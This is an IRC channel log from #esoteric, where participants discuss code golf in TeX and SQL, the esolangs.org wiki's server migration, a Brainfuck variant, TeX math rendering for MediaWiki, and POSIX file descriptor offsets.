:lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395637556 661421 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :oerjan: You can also try changing which skin is in use, see if some work better than others. < 1395637565 343219 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :None are as clean as the old version, though. < 1395637617 197206 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: what does it mean to prepone < 1395638862 437022 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395639215 405699 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395639283 407643 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 264 seconds < 1395639503 368587 :madbr!boulam@69-165-212-148.cable.teksavvy.com QUIT :Quit: Rouringu de hajikunda! < 1395639642 644550 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: I had the style thing too. < 1395639750 52947 :glogbackup!~glogbacku@192.3.160.190 QUIT :Remote host closed the connection < 1395639764 921888 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :right < 1395640358 83383 :ion!ion@heh.fi PRIVMSG #esoteric :I added one more program. http://codegolf.stackexchange.com/a/24289/1621 < 1395640904 405383 :augur_!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395641183 403343 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ion: Which one is the one you add? < 1395641256 913416 :ion!ion@heh.fi PRIVMSG #esoteric :Revision 4 http://codegolf.stackexchange.com/posts/24289/revisions < 1395641450 332816 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can you code-golf in SQL? < 1395641491 425426 :password2!~password@197.78.154.136 JOIN :#esoteric < 1395641495 852859 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Also, can you code-golf in INTERCAL? < 1395641539 329395 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395641667 338776 :zoneofdanger_!~zoneofdan@unaffiliated/zoneofdanger QUIT :Quit: leaving < 1395643295 516478 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395643618 340246 :passwordBOT!~passwordB@197.78.154.136 QUIT :Ping timeout: 240 seconds < 1395643618 565356 :password2!~password@197.78.154.136 QUIT :Ping timeout: 240 seconds < 1395644085 85881 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395644187 779962 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395644348 170407 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395644359 380805 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395644361 463381 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395644480 125220 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395644741 190704 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 246 seconds < 1395645391 797282 :Zom-B|afk!~Zom-B@143.177.41.147 JOIN :#esoteric < 1395645439 451406 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395645527 318415 :Gregor`!dlopen@libdl.so JOIN :#esoteric < 1395645563 539231 :Zom-B!~Zom-B@143.177.41.147 QUIT :Ping timeout: 268 seconds < 1395645563 870109 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 268 seconds < 1395645564 89028 :mtve!~mtve@10130.x.rootbsd.net QUIT :Ping timeout: 268 seconds < 1395645566 422780 :Gregor!dlopen@libdl.so QUIT :Ping timeout: 240 seconds < 1395645763 477222 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395646161 184306 :tromp!~tromp@rtc35-245.rentec.com JOIN :#esoteric < 1395646197 491334 :tromp__!~tromp@rtc35-245.rentec.com QUIT :Read error: Connection reset by peer < 1395646485 13629 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395647219 94315 :ais523!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 246 seconds < 1395647475 351569 :ion!ion@heh.fi PRIVMSG #esoteric :OCR in a nutshell http://i.imgur.com/2Nf4x7X.jpg < 1395648539 490221 :Zom-B|afk!~Zom-B@143.177.41.147 PRIVMSG #esoteric :now make a self-rewriting esolang using that char mapping < 1395648549 571430 :Zom-B|afk!~Zom-B@143.177.41.147 NICK :Zom-B < 1395648614 771357 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :zzo38: ther are code golfs made in SQL, just look around a bit there < 1395648898 711951 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Are there code golfs in TeX? < 1395649121 377454 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :I think so < 1395649190 782444 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have once done a golfed "FizzBuzz" program in TeX. < 1395649209 231906 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :hmm, wait, I've certainly seen ps golfing but no TeX golfing, sorry for confusion < 1395649306 638477 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :yes, many < 1395649310 773985 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have seen golfing with PostScript too < 1395649347 971792 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But, this is one program in TeX; \newcount\-\let~\advance\day0\loop~\-1~\day1~\mit\ifnum\-=3\-0Fizz\fi\ifnum\fam=5Buzz\rm\fi\ifvmode\the\day\fi\endgraf\ifnum\day<`d\repeat\bye < 1395649403 151497 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :even an answer in my code golf question is in tex < 1395649422 621693 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :http://codegolf.stackexchange.com/a/23440/17419 < 1395649455 743135 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :^ and thats the honorable ' < 1395649466 341993 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :^ and thats the honorable 'loser' with the largest program < 1395649475 817832 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395649524 695205 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My program is using Plain TeX rather than LaTeX, and output DVI instead of PDF. Probably other program too, could be shorter made using Plain TeX and DVI. < 1395649533 714395 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395649542 603279 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395649560 698209 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :write a comment < 1395649731 948371 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have also seen a SQL program to make Mandelbrot, and it is even given as one of the examples of how the WITH clause works. < 1395649829 92625 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :fractals have always fascinated me even before i actually knew what fractals were < 1395649970 517236 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Fractals; you see one, you've seen them all. < 1395650372 295135 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :you see one, you spiral out of control < 1395651729 207477 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395652048 638893 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 268 seconds < 1395653373 192692 :mtve!~mtve@10130.x.rootbsd.net JOIN :#esoteric < 1395653958 123622 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :fuck < 1395653968 412933 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i planned to release my new esolang today or tomorrow < 1395653978 322941 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :now the database is locked for "a few days" < 1395654015 174791 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :the day after tomorrow my full time job resumes < 1395654025 272642 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :(free because of the NSS) < 1395654325 433085 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If you're seeing a "database is locked" message, you're still seeing the wiki on the old server. On the new one, it is (or at least should be) editable. DNS updates should not take more than a day to propagate fully. < 1395654340 282563 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :ah < 1395654350 543755 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :oh congrats on becoming admin < 1395654608 25851 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think "commiserations" is perhaps more appropriate, since it's now my problem when things go wrong. Thanks, anyway. (Probably the people active on the wiki itself will still be doing most of the actually important things, like spam-wrangling and such, anyhow.) < 1395654787 233225 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You could start by providing us with a few problems, as per topic < 1395654837 226786 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Uh, well, maybe the still-in-progress DNS issue counts as a problem. < 1395655037 633380 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :>ping esolangs.org < 1395655037 857211 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :Pinging esolangs.org [162.248.166.242] < 1395655184 733079 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Hm; that actually looks new. < 1395655264 493924 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :c1105889-5122.cloudatcost.com [162.248.166.242] < 1395655636 523462 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. That is the new server. The database should not be locked on it. < 1395655643 364810 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I managed to edit my user page, at least.) < 1395656183 878178 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :now it works < 1395656192 785741 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395656561 983837 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395657165 92807 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395658109 298627 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395658650 129068 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net JOIN :#esoteric < 1395658847 392271 :boily!~boily@96.127.201.149 QUIT :Quit: MONDAY MORNING CHICKEN < 1395658981 439475 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395659263 392274 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 264 seconds < 1395659716 301974 :ion!ion@heh.fi PRIVMSG #esoteric :https://github.com/torvalds/linux/pull/82 < 1395660623 262562 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395662755 482816 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395663357 887160 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395663419 520562 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The only things being violated here are overfishing regulations. < 1395663473 890532 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :><> ><> ><> < 1395663511 435593 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395664133 600985 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395664187 962342 :potato111!~potato558@105.184.72.37 QUIT :Quit: Bye < 1395664206 791499 :potato111!~potato558@105.184.72.37 JOIN :#esoteric < 1395664390 20898 :potato111!~potato558@105.184.72.37 PART :#esoteric < 1395664640 201467 :confuzedstuff!~potato558@105.184.72.37 JOIN :#esoteric < 1395665767 511775 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395665959 415546 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395665959 602184 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395666238 857553 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395666240 891848 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395666515 874820 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 252 seconds < 1395666828 923382 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :the thing that has been bugging mwe < 1395666844 570777 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :*me about that pull request, wtf is "xhe" < 1395666918 241271 :ion!ion@heh.fi PRIVMSG #esoteric :It’s satirizing weird gender-neutral pronouns. < 1395666948 581289 :ion!ion@heh.fi PRIVMSG #esoteric :http://askanonbinary.tumblr.com/post/74544202338/list-of-pronouns < 1395667393 685736 :EgoBot!dlopen@libdl.so QUIT :Remote host closed the connection < 1395667414 380562 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1395667877 570936 :glogbackup!~glogbacku@192.3.160.190 QUIT :Remote host closed the connection < 1395668119 928613 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :"More pronouns for everyone" made me chuckle < 1395668388 496473 :password2!~password@197.78.154.136 JOIN :#esoteric < 1395671313 347846 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1395671887 974550 :password2!~password@197.78.154.136 PRIVMSG #esoteric :whats up < 1395672497 28093 :password2!~password@197.78.154.136 PRIVMSG #esoteric :meh < 1395672502 780648 :password2!~password@197.78.154.136 PRIVMSG #esoteric :is everyone asleep? < 1395672514 700366 :password2!~password@197.78.154.136 PRIVMSG #esoteric :or jsut afk < 1395672615 963620 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :EACCESS < 1395672915 732079 :password2!~password@197.78.154.136 PRIVMSG #esoteric :EACCESS? < 1395673306 301155 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i love bf with pointers < 1395673320 121175 :password2!~password@197.78.154.136 PRIVMSG #esoteric :lots of weir arbitary things i can do < 1395673340 199147 :password2!~password@197.78.154.136 PRIVMSG #esoteric :like add evrythin in memory < 1395673496 476754 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395673798 422214 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 265 seconds < 1395675033 726617 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395675125 840791 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395676783 119259 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395676878 911183 :password2!~password@197.78.154.136 PRIVMSG #esoteric :my bot now has upto infinity more spammage < 1395677220 255419 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+spam < 1395677272 381218 :password2!~password@197.78.154.136 PRIVMSG #esoteric :it now support # in bf < 1395677462 47075 :password2!~password@197.78.154.136 PRIVMSG #esoteric :oh , thats why my code does not work < 1395677472 790880 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i was adding a cell to itself until it were 0 < 1395678701 484989 :password2!~password@197.78.154.136 PRIVMSG #esoteric :now i have a a small bf^ program that will add all numbers to the cell 0 until it finds a 0 < 1395679084 90769 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i am a pro at procrastinating < 1395679268 111401 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :password2: go to http://esolangs.org/wiki/ , write a page about brainfuck^ , where you give the exact rules and a reference interpreter or a link to those < 1395679315 591535 :password2!~password@197.78.154.136 PRIVMSG #esoteric :oooh < 1395679316 886200 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok < 1395679328 361194 :password2!~password@197.78.154.136 PRIVMSG #esoteric :so that i stop spamming here? < 1395679329 382899 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :add it to this category: http://esolangs.org/wiki/Category:Brainfuck_derivatives < 1395679356 705480 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :password2: I mean because you have so much time on your hands but I can't understand all this you say about pointers because I don't know the exact rules bf^ has < 1395679375 331053 :password2!~password@197.78.154.136 PRIVMSG #esoteric ::P < 1395679376 561506 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok < 1395679381 640845 :password2!~password@197.78.154.136 PRIVMSG #esoteric :I'll do it < 1395679464 683206 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :thank you < 1395679520 684703 :password2!~password@197.78.154.136 PRIVMSG #esoteric :stupid qeustion , how do i edit a category? < 1395679526 30811 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :you don't < 1395679537 191842 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :you put [[Category:Something]] in the article < 1395679545 311135 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and the category page will automatically list all pages where that's added < 1395679546 174131 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ah < 1395679551 776397 :password2!~password@197.78.154.136 PRIVMSG #esoteric :awesome < 1395679560 152244 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :you can edit the category itself for the heading, but that's not needed here < 1395680107 411796 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395680415 31835 :password2!~password@197.78.154.136 PRIVMSG #esoteric :the new rules are actually simple now that i think bout it < 1395680567 261848 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :ah, you've created an account. great! < 1395680619 992859 :password2!~password@197.78.154.136 PRIVMSG #esoteric :might as well < 1395680626 741860 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what is # supposed to do? < 1395680645 370838 :password2!~password@197.78.154.136 PRIVMSG #esoteric :output portion of tape in bf < 1395680656 674237 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :? < 1395680681 876229 :password2!~password@197.78.154.136 PRIVMSG #esoteric :goto #test_room and i will show you < 1395680702 845601 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you could also add a goto < 1395680719 616875 :password2!~password@197.78.154.136 PRIVMSG #esoteric :urg < 1395680746 796103 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395680752 962197 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :like pointer = cells[pointer] < 1395680756 841534 :password2!~password@197.78.154.136 PRIVMSG #esoteric :but maybe < 1395680767 90810 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i'm taking it one step at a time < 1395680813 837510 :password2!~password@197.78.154.136 PRIVMSG #esoteric :how do i add a new section in a page? < 1395680839 910002 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :look it up at an article that has what you want < 1395680841 501563 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i geuss with headings < 1395680849 812685 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :yeah < 1395681035 784202 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 252 seconds < 1395681087 393228 :password2!~password@197.78.154.136 PRIVMSG #esoteric :wiki editing is magic < 1395681739 92089 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i think i will open source my c++ code for it too < 1395681767 781620 :password2!~password@197.78.154.136 PRIVMSG #esoteric :but i gotta run in a while < 1395682018 821832 :password2!~password@197.78.154.136 PRIVMSG #esoteric :hooray , i feel more productive now < 1395682089 132503 :password2!~password@197.78.154.136 PRIVMSG #esoteric :mmm , maybe i should redo the whole syntax < 1395682171 800602 :password2!~password@197.78.154.136 PRIVMSG #esoteric :and use a syntax more like c++ where * signifies that the next thing is a pointer < 1395682632 773199 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395683569 535923 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395683640 772414 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395683868 923385 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :yes, headings with equals signs < 1395683877 482389 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :== second level heading == < 1395683881 432012 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :=== third level heading === < 1395686525 49510 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know how to disable free games in a UltraPin game? < 1395686611 811009 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :is there a way to write math/mathtex on the wiki? < 1395686669 907545 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I wrote a program which should be simpler and more secure and faster and more powerful than the one on Wikipedia, but I do not know how to install it in a MediaWiki installation. < 1395686710 435598 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You could for now just enter a raw code or upload a picture, I suppose. < 1395686749 168202 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i only need a few constants, i, tau and e < 1395686778 511966 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :currently i'm copying the contents of wikipedia's tags (they have a gazillion tags for everything mathematic) < 1395686796 507719 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :seems like works :] < 1395686800 1203 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You could also just paste the text. < 1395687180 695561 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think does anything else than sets a serif font. < 1395687368 174460 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :as long as it looks mathy < 1395687379 428784 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395687445 142269 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: Are you able to install the program I wrote for rendering a TeX file received remotely? That can be used for mathematical equations too < 1395687559 350211 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395687559 609291 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395687638 212427 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is written in PHP so probably it can be installed on MediaWiki. < 1395687682 521097 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In a strictly technical sense, it could be possible, but I don't know anything about MediaWiki extensions, and I'm not really planning to learn about them, which would probably be required in order to integrate it in the wiki. Even if math support would be very fancy. < 1395687686 479180 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's no TeX system installed on the server at the moment, either. < 1395687793 782006 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In order to use my program you only need to install Plain TeX and AMS fonts. < 1395687800 972244 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :As well as dvipng. < 1395687910 50528 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Are there many differences between Plain TeX and LaTeX math syntax? For some reason I would think most people are more familiar with the latter. < 1395687921 181687 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It has no dependency on etex, xelatex, pdftex, or anything like that (and if you use them, it won't be secure anymore), and no dependency on PostScript, TrueType, or anything like that either. < 1395687931 845159 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: Many things are the same, I think. < 1395687999 232023 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Some things may be exclusive to one or the other, but I think many things you can do easily in Plain TeX require a lot of packages in LaTeX, and the security system does not allow installing packages. You could still, add macros for common things, without much difficult. < 1395688004 393946 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395688315 341388 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 264 seconds < 1395688375 537575 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My system uses its own format file which imports Plain TeX, and then adds a few things, and then disables some commands for security purposes. < 1395688469 441947 :sebbu2!~sebbu@ADijon-152-1-13-130.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1395688502 847579 :sebbu2!~sebbu@ADijon-152-1-13-130.w83-194.abo.wanadoo.fr QUIT :Changing host < 1395688503 34277 :sebbu2!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1395688538 443804 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 240 seconds < 1395688976 343574 :sebbu2!~sebbu@unaffiliated/sebbu NICK :sebbu < 1395689332 202527 :guestbot!cdd334a2@gateway/web/freenode/ip.205.211.52.162 JOIN :#esoteric < 1395689332 202690 :guestbot!cdd334a2@gateway/web/freenode/ip.205.211.52.162 PART :#esoteric < 1395689458 360583 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395691696 336996 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395692076 519124 :Gregor`!dlopen@libdl.so NICK :Guest32341 < 1395692525 743018 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395693927 686789 :password2!~password@197.78.154.136 QUIT :Ping timeout: 252 seconds < 1395694197 984607 :Guest32341!dlopen@libdl.so NICK :Gregor < 1395694628 52380 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, zzo38: Pretty sure mediawiki already has an extension for LaTeX math, used on wikipedia < 1395694681 486941 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :And I suspect that is as secure as Plain TeX would be < 1395694695 381329 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, zzo38 referred to it. < 1395694701 922457 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Apparently it's inferior. < 1395694702 109074 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Right < 1395694706 876888 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, in what way? < 1395694719 102688 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :It seems to work for WP, it can't be that bad < 1395694746 970547 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You would have to ask zzo38 that, and get a zzo38ian answer. < 1395694781 851231 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Also working for Wikipedia doesn't mean it couldn't be horrible.) < 1395694797 987244 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's worse in terms of required dependencies, at the very least. < 1395694807 902491 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well sure, but it is probably has reasonable performance, is reasonably secure and so on < 1395694960 82670 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think I want to go on installing it (and a gigabyte of texlive) without someone who is familiar with it saying it's worth it. < 1395694977 651426 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Fair enough < 1395694991 392649 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, I guess poke ais, he used to do wp stuff after all < 1395695049 986079 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'll see if we happen to be online simultaneously (and I remember to do that); gotta be careful of all those lambdabot message fees and all. < 1395695080 942781 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :do file descriptors have their own position or does the underlying file have one shared between all fds? < 1395695129 90763 :Bike_!~Glossina@wl-nat105.it.wsu.edu JOIN :#esoteric < 1395695134 891641 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :olsner, I'm not 100% sure, but I was pretty sure each had it's own position? < 1395695145 219630 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm reasonably certain it is so. < 1395695166 489690 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also doesn't FILE object store the offset too? < 1395695260 380109 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :(file descriptors, not FILE objects) < 1395695262 91284 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395695313 610303 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :yeah, but I said I think FILE objects also store offsets < 1395695361 275598 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"If a file can support positioning requests --, then a "file position indicator" *associated with the stream* --" (POSIX, emphasis mine) < 1395695372 574081 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Right < 1395695412 361416 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I was about to claim elsewhere that a bunch of threads doing reads on their own dup:ed file descriptors is equivalent to them doing it on the original file descriptor < 1395695426 921452 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :but then I didn't know if that would be true or not < 1395695529 679304 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That might still be true, even if independently opened descriptors did not share the position. < 1395695539 471343 :Bike_!~Glossina@wl-nat105.it.wsu.edu NICK :Bicyclidine < 1395695540 181372 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 246 seconds < 1395695566 900640 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :right, what I called "file" is what posix seems to call "file description" < 1395695576 880044 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Duplicate descriptors share one file position and one set of file status flags (see File Status Flags), but each has its own set of file descriptor flags (see Descriptor Flags)", goes the glibc manual. POSIX is being rather unexplicit about it. < 1395695766 251352 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I guess 2.5.1 does 